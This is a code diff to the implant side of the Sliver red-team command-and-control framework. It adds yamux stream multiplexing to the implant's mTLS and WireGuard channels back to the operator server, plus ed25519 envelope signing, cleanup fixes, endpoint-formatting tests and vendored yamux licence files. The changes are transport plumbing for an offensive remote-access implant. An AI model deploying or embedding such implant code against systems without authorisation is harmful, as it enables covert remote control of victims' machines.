@@ -260,25 +290,48 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
|
||||
_ = conn.Close()
|
||||
_ = dev.Down()
|
||||
return err
|
||||
}
|
||||
muxSession, err = yamux.Client(conn, nil)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
_ = dev.Down()
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
},
|
||||
Recv: func() (*pb.Envelope, error) {
|
||||
return wireguard.ReadEnvelope(conn)
|
||||
stream, err := muxSession.Accept()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer stream.Close()
|
||||
return wireguard.ReadEnvelope(stream)
|
||||
},
|
||||
Send: func(envelope *pb.Envelope) error {
|
||||
return wireguard.WriteEnvelope(conn, envelope)
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer stream.Close()
|
||||
return wireguard.WriteEnvelope(stream, envelope)
|
||||
},
|
||||
Close: func() error {
|
||||
err = conn.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
if muxSession != nil {
|
||||
_ = muxSession.Close()
|
||||
muxSession = nil
|
||||
}
|
||||
err = dev.Down()
|
||||
if err != nil {
|
||||
return err
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
conn = nil
|
||||
}
|
||||
if dev != nil {
|
||||
_ = dev.Down()
|
||||
dev = nil
|
||||
}
|
||||
conn = nil
|
||||
dev = nil
|
||||
return nil
|
||||
},
|
||||
Cleanup: func() error {
|
||||
|
||||
@@ -22,12 +22,15 @@ package mtls
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ed25519"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -35,9 +38,11 @@ import (
|
||||
// {{end}}
|
||||
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/crypto/blake2b"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
@@ -45,6 +50,9 @@ var (
|
||||
// PingInterval - Amount of time between in-band "pings"
|
||||
PingInterval = 2 * time.Minute
|
||||
|
||||
// YamuxPreface - Magic bytes sent before yamux frames
|
||||
YamuxPreface = "MUX/1"
|
||||
|
||||
// caCertPEM - PEM encoded CA certificate
|
||||
caCertPEM = `{{.Build.MtlsCACert}}`
|
||||
|
||||
@@ -52,10 +60,40 @@ var (
|
||||
certPEM = `{{.Build.MtlsCert}}`
|
||||
)
|
||||
|
||||
const mtlsEnvelopeSigningSeedPrefix = "env-signing-v1:"
|
||||
|
||||
var (
|
||||
envelopeSigningOnce sync.Once
|
||||
envelopeSigningErr error
|
||||
envelopeSigningKeyID uint64
|
||||
envelopeSigningPriv ed25519.PrivateKey
|
||||
)
|
||||
|
||||
func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
|
||||
envelopeSigningOnce.Do(func() {
|
||||
peerKeyPair := cryptography.GetPeerAgeKeyPair()
|
||||
// NOTE: This file is rendered with Go's text/template; avoid literal template
|
||||
// delimiters in string checks or the template parser will treat it as an action.
|
||||
if peerKeyPair == nil || peerKeyPair.Private == "" || strings.Contains(peerKeyPair.Private, ".Build.PeerPrivateKey") {
|
||||
envelopeSigningErr = errors.New("[mtls] missing peer private key")
|
||||
return
|
||||
}
|
||||
|
||||
seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerKeyPair.Private))
|
||||
envelopeSigningPriv = ed25519.NewKeyFromSeed(seed[:])
|
||||
|
||||
pub := envelopeSigningPriv.Public().(ed25519.PublicKey)
|
||||
digest := blake2b.Sum256(pub)
|
||||
envelopeSigningKeyID = binary.LittleEndian.Uint64(digest[:8])
|
||||
})
|
||||
|
||||
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
|
||||
}
|
||||
|
||||
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
|
||||
// which is a fancy way of saying we write the length of the message then the message
|
||||
// e.g. [uint32 length|message] so the receiver can delimit messages properly
|
||||
func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
|
||||
func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -63,15 +101,28 @@ func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
signingKey, keyID, err := mtlsEnvelopeSigningKey()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rawSigBuf := make([]byte, cryptography.RawSigSize)
|
||||
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
|
||||
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
|
||||
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
|
||||
if _, werr := w.Write(rawSigBuf); werr != nil {
|
||||
return werr
|
||||
}
|
||||
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
|
||||
if _, werr := w.Write(dataLengthBuf.Bytes()); werr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Error writing data length: ", werr)
|
||||
// {{end}}
|
||||
return werr
|
||||
}
|
||||
if _, werr := connection.Write(data); werr != nil {
|
||||
if _, werr := w.Write(data); werr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Error writing data: ", werr)
|
||||
// {{end}}
|
||||
@@ -81,7 +132,7 @@ func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
|
||||
}
|
||||
|
||||
// WritePing - Send a "ping" message to the server
|
||||
func WritePing(connection *tls.Conn) error {
|
||||
func WritePing(w io.Writer) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Socket ping")
|
||||
// {{end}}
|
||||
@@ -92,16 +143,26 @@ func WritePing(connection *tls.Conn) error {
|
||||
Type: pb.MsgPing,
|
||||
Data: pingBuf,
|
||||
}
|
||||
return WriteEnvelope(connection, &envelope)
|
||||
return WriteEnvelope(w, &envelope)
|
||||
}
|
||||
|
||||
// ReadEnvelope - Reads a message from the TLS connection using length prefix framing
|
||||
func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
|
||||
func ReadEnvelope(r io.Reader) (*pb.Envelope, error) {
|
||||
rawSigBuf := make([]byte, cryptography.RawSigSize)
|
||||
dataLengthBuf := make([]byte, 4) // Size of uint32
|
||||
if len(dataLengthBuf) == 0 || connection == nil {
|
||||
if len(rawSigBuf) == 0 || len(dataLengthBuf) == 0 || r == nil {
|
||||
panic("[[GenerateCanary]]")
|
||||
}
|
||||
n, err := io.ReadFull(connection, dataLengthBuf)
|
||||
|
||||
n, err := io.ReadFull(r, rawSigBuf)
|
||||
if err != nil || n != len(rawSigBuf) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Socket error (read raw signature): %v\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
n, err = io.ReadFull(r, dataLengthBuf)
|
||||
if err != nil || n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Socket error (read msg-length): %v\n", err)
|
||||
@@ -119,7 +180,7 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
|
||||
|
||||
dataBuf := make([]byte, dataLength)
|
||||
|
||||
n, err = io.ReadFull(connection, dataBuf)
|
||||
n, err = io.ReadFull(r, dataBuf)
|
||||
|
||||
if err != nil || n != dataLength {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -128,6 +189,13 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if !cryptography.MinisignVerifyRaw(dataBuf, rawSigBuf) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid signature on mtls envelope")
|
||||
// {{end}}
|
||||
return nil, errors.New("[mtls] invalid signature")
|
||||
}
|
||||
|
||||
// Unmarshal the protobuf envelope
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
|
||||
@@ -39,6 +39,11 @@ import (
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||
"github.com/hashicorp/yamux"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeWG}}
|
||||
"errors"
|
||||
|
||||
@@ -62,18 +67,19 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if not .Config.IncludeNamePipe}}
|
||||
"io"
|
||||
"net/url"
|
||||
"sync"
|
||||
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
// {{end}}
|
||||
|
||||
"io"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
_ time.Duration // Force import
|
||||
_ io.ReadCloser // Force import
|
||||
)
|
||||
|
||||
type Start func() error
|
||||
@@ -198,7 +204,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan struct{})
|
||||
done := make(chan struct{})
|
||||
var conn *tls.Conn
|
||||
var muxSession *yamux.Session
|
||||
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
@@ -215,7 +223,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[mtls] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
conn.Close()
|
||||
close(done)
|
||||
if muxSession != nil {
|
||||
muxSession.Close()
|
||||
}
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
@@ -243,45 +257,119 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
||||
conn.Close()
|
||||
return err
|
||||
}
|
||||
muxSession, err = yamux.Client(conn, nil)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return err
|
||||
}
|
||||
connection.IsOpen = true
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
sendSem := make(chan struct{}, 64)
|
||||
ticker := time.NewTicker(mtls.PingInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
sendEnvelope := func(envelope *pb.Envelope) {
|
||||
if envelope == nil {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case sendSem <- struct{}{}:
|
||||
case <-done:
|
||||
return
|
||||
}
|
||||
go func(envelope *pb.Envelope) {
|
||||
defer func() {
|
||||
<-sendSem
|
||||
}()
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
}(envelope)
|
||||
}
|
||||
|
||||
sendPing := func() {
|
||||
select {
|
||||
case sendSem <- struct{}{}:
|
||||
case <-done:
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
defer func() {
|
||||
<-sendSem
|
||||
}()
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
if err := mtls.WritePing(stream); err != nil {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case envelope, ok := <-send:
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
err := mtls.WriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
case <-time.After(mtls.PingInterval):
|
||||
err = mtls.WritePing(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sendEnvelope(envelope)
|
||||
case <-ticker.C:
|
||||
sendPing()
|
||||
case <-done:
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
streamSem := make(chan struct{}, 128)
|
||||
for {
|
||||
envelope, err := mtls.ReadEnvelope(conn)
|
||||
if err == io.EOF {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[mtls] eof")
|
||||
// {{end}}
|
||||
stream, err := muxSession.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err != io.EOF && err != nil {
|
||||
break
|
||||
}
|
||||
if envelope != nil {
|
||||
recv <- envelope
|
||||
|
||||
select {
|
||||
case streamSem <- struct{}{}:
|
||||
case <-done:
|
||||
stream.Close()
|
||||
return
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer func() {
|
||||
<-streamSem
|
||||
}()
|
||||
defer stream.Close()
|
||||
envelope, err := mtls.ReadEnvelope(stream)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if envelope != nil {
|
||||
select {
|
||||
case recv <- envelope:
|
||||
case <-done:
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -299,9 +387,11 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan struct{})
|
||||
done := make(chan struct{})
|
||||
|
||||
var conn net.Conn
|
||||
var dev *device.Device
|
||||
var muxSession *yamux.Session
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
@@ -315,8 +405,16 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[wg] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
conn.Close()
|
||||
dev.Down()
|
||||
close(done)
|
||||
if muxSession != nil {
|
||||
muxSession.Close()
|
||||
}
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
if dev != nil {
|
||||
dev.Down()
|
||||
}
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
@@ -355,45 +453,121 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
|
||||
conn.Close()
|
||||
dev.Down()
|
||||
return err
|
||||
}
|
||||
muxSession, err = yamux.Client(conn, nil)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
dev.Down()
|
||||
return err
|
||||
}
|
||||
connection.IsOpen = true
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
sendSem := make(chan struct{}, 64)
|
||||
ticker := time.NewTicker(wireguard.PingInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
sendEnvelope := func(envelope *pb.Envelope) {
|
||||
if envelope == nil {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case sendSem <- struct{}{}:
|
||||
case <-done:
|
||||
return
|
||||
}
|
||||
go func(envelope *pb.Envelope) {
|
||||
defer func() {
|
||||
<-sendSem
|
||||
}()
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
if err := wireguard.WriteEnvelope(stream, envelope); err != nil {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
}(envelope)
|
||||
}
|
||||
|
||||
sendPing := func() {
|
||||
select {
|
||||
case sendSem <- struct{}{}:
|
||||
case <-done:
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
defer func() {
|
||||
<-sendSem
|
||||
}()
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
if err := wireguard.WritePing(stream); err != nil {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case envelope, ok := <-send:
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
err := wireguard.WriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
case <-time.After(wireguard.PingInterval):
|
||||
err = wireguard.WritePing(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sendEnvelope(envelope)
|
||||
case <-ticker.C:
|
||||
sendPing()
|
||||
case <-done:
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
streamSem := make(chan struct{}, 128)
|
||||
for {
|
||||
envelope, err := wireguard.ReadEnvelope(conn)
|
||||
if err == io.EOF {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[wireguard] eof")
|
||||
// {{end}}
|
||||
stream, err := muxSession.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err != io.EOF && err != nil {
|
||||
break
|
||||
}
|
||||
if envelope != nil {
|
||||
recv <- envelope
|
||||
|
||||
select {
|
||||
case streamSem <- struct{}{}:
|
||||
case <-done:
|
||||
stream.Close()
|
||||
return
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer func() {
|
||||
<-streamSem
|
||||
}()
|
||||
defer stream.Close()
|
||||
envelope, err := wireguard.ReadEnvelope(stream)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if envelope != nil {
|
||||
select {
|
||||
case recv <- envelope:
|
||||
case <-done:
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
}()
|
||||
|
||||
|
||||
@@ -25,6 +25,8 @@ package wireguard
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"crypto/ed25519"
|
||||
"crypto/sha256"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -33,15 +35,18 @@ import (
|
||||
"net/netip"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/netstack"
|
||||
"golang.org/x/crypto/blake2b"
|
||||
"golang.zx2c4.com/wireguard/conn"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
"golang.zx2c4.com/wireguard/tun"
|
||||
@@ -49,6 +54,9 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
// YamuxPreface - Magic bytes sent before yamux frames
|
||||
YamuxPreface = "MUX/1"
|
||||
|
||||
serverTunIP = "100.64.0.1" // Don't let user configure this for now
|
||||
tunnelNet *netstack.Net
|
||||
tunAddress string
|
||||
@@ -66,6 +74,36 @@ var (
|
||||
failedConn = 0
|
||||
)
|
||||
|
||||
const wgEnvelopeSigningSeedPrefix = "env-signing-v1:"
|
||||
|
||||
var (
|
||||
envelopeSigningOnce sync.Once
|
||||
envelopeSigningErr error
|
||||
envelopeSigningKeyID uint64
|
||||
envelopeSigningPriv ed25519.PrivateKey
|
||||
)
|
||||
|
||||
func wgEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
|
||||
envelopeSigningOnce.Do(func() {
|
||||
peerKeyPair := cryptography.GetPeerAgeKeyPair()
|
||||
// NOTE: This file is rendered with Go's text/template; avoid literal template
|
||||
// delimiters in string checks or the template parser will treat it as an action.
|
||||
if peerKeyPair == nil || peerKeyPair.Private == "" || strings.Contains(peerKeyPair.Private, ".Build.PeerPrivateKey") {
|
||||
envelopeSigningErr = errors.New("[wireguard] missing peer private key")
|
||||
return
|
||||
}
|
||||
|
||||
seed := sha256.Sum256([]byte(wgEnvelopeSigningSeedPrefix + peerKeyPair.Private))
|
||||
envelopeSigningPriv = ed25519.NewKeyFromSeed(seed[:])
|
||||
|
||||
pub := envelopeSigningPriv.Public().(ed25519.PublicKey)
|
||||
digest := blake2b.Sum256(pub)
|
||||
envelopeSigningKeyID = binary.LittleEndian.Uint64(digest[:8])
|
||||
})
|
||||
|
||||
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
|
||||
}
|
||||
|
||||
// GetTNet - Get the netstack Net object
|
||||
func GetTNet() *netstack.Net {
|
||||
return tunnelNet
|
||||
@@ -87,6 +125,22 @@ func WriteEnvelope(connection net.Conn, envelope *pb.Envelope) error {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
signingKey, keyID, err := wgEnvelopeSigningKey()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rawSigBuf := make([]byte, cryptography.RawSigSize)
|
||||
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
|
||||
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
|
||||
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
|
||||
if _, werr := connection.Write(rawSigBuf); werr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Socket error (write raw signature): ", werr)
|
||||
// {{end}}
|
||||
return werr
|
||||
}
|
||||
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
|
||||
@@ -121,11 +175,21 @@ func WritePing(connection net.Conn) error {
|
||||
|
||||
// ReadEnvelope - Reads a message from the wireguard connection using length prefix framing
|
||||
func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
|
||||
rawSigBuf := make([]byte, cryptography.RawSigSize)
|
||||
dataLengthBuf := make([]byte, 4) // Size of uint32
|
||||
if len(dataLengthBuf) == 0 || connection == nil {
|
||||
if len(rawSigBuf) == 0 || len(dataLengthBuf) == 0 || connection == nil {
|
||||
panic("[[GenerateCanary]]")
|
||||
}
|
||||
n, err := io.ReadFull(connection, dataLengthBuf)
|
||||
|
||||
n, err := io.ReadFull(connection, rawSigBuf)
|
||||
if err != nil || n != len(rawSigBuf) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Socket error (read raw signature): %v\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
n, err = io.ReadFull(connection, dataLengthBuf)
|
||||
if err != nil || n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Socket error (read msg-length): %v\n", err)
|
||||
@@ -152,6 +216,13 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if !cryptography.MinisignVerifyRaw(dataBuf, rawSigBuf) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid signature on wireguard envelope")
|
||||
// {{end}}
|
||||
return nil, errors.New("[wireguard] invalid signature")
|
||||
}
|
||||
|
||||
// Unmarshal the protobuf envelope
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
@@ -165,6 +236,10 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
|
||||
return envelope, nil
|
||||
}
|
||||
|
||||
func formatWGEndpoint(address string, port uint16) string {
|
||||
return net.JoinHostPort(address, strconv.Itoa(int(port)))
|
||||
}
|
||||
|
||||
// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
|
||||
func getSessKeys(address string, port uint16) error {
|
||||
_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
|
||||
@@ -172,7 +247,9 @@ func getSessKeys(address string, port uint16) error {
|
||||
return err
|
||||
}
|
||||
|
||||
dev.Up()
|
||||
if err := dev.Up(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Initial wg connection. Attempting to connect to wg key exchange listener")
|
||||
@@ -183,6 +260,7 @@ func getSessKeys(address string, port uint16) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Unable to connect to wg key exchange listener: %v", err)
|
||||
// {{end}}
|
||||
_ = dev.Down()
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -207,7 +285,10 @@ func getSessKeys(address string, port uint16) error {
|
||||
// WGConnect - Get a wg connection or die trying
|
||||
func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
if wgSessPrivKey == "" || failedConn > 2 {
|
||||
getSessKeys(address, port)
|
||||
if err := getSessKeys(address, port); err != nil {
|
||||
failedConn++
|
||||
return nil, nil, err
|
||||
}
|
||||
}
|
||||
|
||||
// Bring up actual wireguard connection using retrieved keys and IP
|
||||
@@ -261,7 +342,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
wgConf := bytes.NewBuffer(nil)
|
||||
fmt.Fprintf(wgConf, "private_key=%s\n", implantPrivKey)
|
||||
fmt.Fprintf(wgConf, "public_key=%s\n", serverPubKey)
|
||||
fmt.Fprintf(wgConf, "endpoint=%s:%d\n", address, port)
|
||||
fmt.Fprintf(wgConf, "endpoint=%s\n", formatWGEndpoint(address, port))
|
||||
fmt.Fprintf(wgConf, "allowed_ip=%s/0\n", "0.0.0.0")
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
//go:build windows || darwin || linux
|
||||
|
||||
package wireguard
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestFormatWGEndpoint_IPv6(t *testing.T) {
|
||||
got := formatWGEndpoint("::1", 8989)
|
||||
if got != "[::1]:8989" {
|
||||
t.Fatalf("unexpected endpoint: got=%q want=%q", got, "[::1]:8989")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatWGEndpoint_IPv4(t *testing.T) {
|
||||
got := formatWGEndpoint("127.0.0.1", 53)
|
||||
if got != "127.0.0.1:53" {
|
||||
t.Fatalf("unexpected endpoint: got=%q want=%q", got, "127.0.0.1:53")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatWGEndpoint_Hostname(t *testing.T) {
|
||||
got := formatWGEndpoint("example.com", 1337)
|
||||
if got != "example.com:1337" {
|
||||
t.Fatalf("unexpected endpoint: got=%q want=%q", got, "example.com:1337")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
# Compiled Object files, Static and Dynamic libs (Shared Objects)
|
||||
*.o
|
||||
*.a
|
||||
*.so
|
||||
|
||||
# Folders
|
||||
_obj
|
||||
_test
|
||||
|
||||
# Architecture specific extensions/prefixes
|
||||
*.[568vq]
|
||||
[568vq].out
|
||||
|
||||
*.cgo1.go
|
||||
*.cgo2.c
|
||||
_cgo_defun.c
|
||||
_cgo_gotypes.go
|
||||
_cgo_export.*
|
||||
|
||||
_testmain.go
|
||||
|
||||
*.exe
|
||||
*.test
|
||||
+364
@@ -0,0 +1,364 @@
|
||||
Copyright (c) 2014 HashiCorp, Inc.
|
||||
|
||||
Mozilla Public License, version 2.0
|
||||
|
||||
1. Definitions
|
||||
|
||||
1.1. "Contributor"
|
||||
|
||||
means each individual or legal entity that creates, contributes to the
|
||||
creation of, or owns Covered Software.
|
||||
|
||||
1.2. "Contributor Version"
|
||||
|
||||
means the combination of the Contributions of others (if any) used by a
|
||||
Contributor and that particular Contributor's Contribution.
|
||||
|
||||
1.3. "Contribution"
|
||||
|
||||
means Covered Software of a particular Contributor.
|
||||
|
||||
1.4. "Covered Software"
|
||||
|
||||
means Source Code Form to which the initial Contributor has attached the
|
||||
notice in Exhibit A, the Executable Form of such Source Code Form, and
|
||||
Modifications of such Source Code Form, in each case including portions
|
||||
thereof.
|
||||
|
||||
1.5. "Incompatible With Secondary Licenses"
|
||||
means
|
||||
|
||||
a. that the initial Contributor has attached the notice described in
|
||||
Exhibit B to the Covered Software; or
|
||||
|
||||
b. that the Covered Software was made available under the terms of
|
||||
version 1.1 or earlier of the License, but not also under the terms of
|
||||
a Secondary License.
|
||||
|
||||
1.6. "Executable Form"
|
||||
|
||||
means any form of the work other than Source Code Form.
|
||||
|
||||
1.7. "Larger Work"
|
||||
|
||||
means a work that combines Covered Software with other material, in a
|
||||
separate file or files, that is not Covered Software.
|
||||
|
||||
1.8. "License"
|
||||
|
||||
means this document.
|
||||
|
||||
1.9. "Licensable"
|
||||
|
||||
means having the right to grant, to the maximum extent possible, whether
|
||||
at the time of the initial grant or subsequently, any and all of the
|
||||
rights conveyed by this License.
|
||||
|
||||
1.10. "Modifications"
|
||||
|
||||
means any of the following:
|
||||
|
||||
a. any file in Source Code Form that results from an addition to,
|
||||
deletion from, or modification of the contents of Covered Software; or
|
||||
|
||||
b. any new file in Source Code Form that contains any Covered Software.
|
||||
|
||||
1.11. "Patent Claims" of a Contributor
|
||||
|
||||
means any patent claim(s), including without limitation, method,
|
||||
process, and apparatus claims, in any patent Licensable by such
|
||||
Contributor that would be infringed, but for the grant of the License,
|
||||
by the making, using, selling, offering for sale, having made, import,
|
||||
or transfer of either its Contributions or its Contributor Version.
|
||||
|
||||
1.12. "Secondary License"
|
||||
|
||||
means either the GNU General Public License, Version 2.0, the GNU Lesser
|
||||
General Public License, Version 2.1, the GNU Affero General Public
|
||||
License, Version 3.0, or any later versions of those licenses.
